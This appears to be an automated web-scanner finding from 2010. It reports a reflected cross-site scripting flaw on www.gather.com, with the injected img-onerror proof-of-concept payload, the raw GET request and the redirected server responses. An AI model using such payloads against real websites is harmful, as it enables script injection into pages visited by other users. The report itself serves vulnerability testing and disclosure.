HTTP/1.1 200 OK Date: Fri, 17 Dec 2010 22:37:06 GMT Server: Apache/2.2.15 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=F1C0DD06E80BD9D20465BB65CEBB90BF; Domain=.gather.com; Path=/ Set-Cookie: vis=clN+5v/rzSE/R+qHbqI8evKuHZ5X8fduU0l+neYPbS9gFiCanMB/xyi7n9q91n0xeAZCjiOK3XGgQ8N9NhtrWObQCP2m3PhYiqObeme4vOc=; Domain=gather.com; Expires=Thu, 12-Dec-2030 22:37:06 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Set-Cookie: vis=l6luWLHlVFOums9kdQrkBrB3531V/+S3IWxbuWFNZhEGIqzg2/hvpkP0CFTl+aD8ldr64o2To7wKrFxrirVV4xEvbW4iVPJsAOgOHdEOQng9kiKS1JtmmhfVpYEHiKy/; Domain=gather.com; Expires=Thu, 12-Dec-2030 22:37:06 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Content-Length: 16785 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3b89a<img%20src%3da%20onerror%3dalert(1)>e561c0a3af was submitted in the REST URL parameter 1. This input was echoed as 3b89a<img src=a onerror=alert(1)>e561c0a3af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /3b89a<img%20src%3da%20onerror%3dalert(1)>e561c0a3af HTTP/1.1 Host: www.gather.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Fri, 17 Dec 2010 22:37:18 GMT Server: Apache/2.2.15 (Unix) mod_jk/1.2.28 Set-Cookie: JSESSIONID=7BA91ECFEDF3150E44387D2D60D8FAAE; Domain=.gather.com; Path=/ Set-Cookie: vis=WrVJi/MMBzVO9/KZyqtXbrB3531V/+S3nvqMLllXTqTUtBSHdT6UEftpbCCnJiCF/vJrdEMaCttwrQCy5k6oakSHBXT/jnbSOIo9NZBuTdI=; Domain=gather.com; Expires=Thu, 12-Dec-2030 22:37:18 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Set-Cookie: vis=k/y2kiB1gMTQKtXGGcYMN1h2zrqQ3uoz5ONzgConH4jkaLwtXpIK6+k9Smvm3vQZuuj70tF1PO2VWQx/v50AY6t7akHRsWQX/KTke8R/YY2DiAnIv4fzNmMfPV5IUfc1; Domain=gather.com; Expires=Thu, 12-Dec-2030 22:37:18 GMT; Path=/ P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT" Content-Length: 16867 Content-Type: text/html;charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">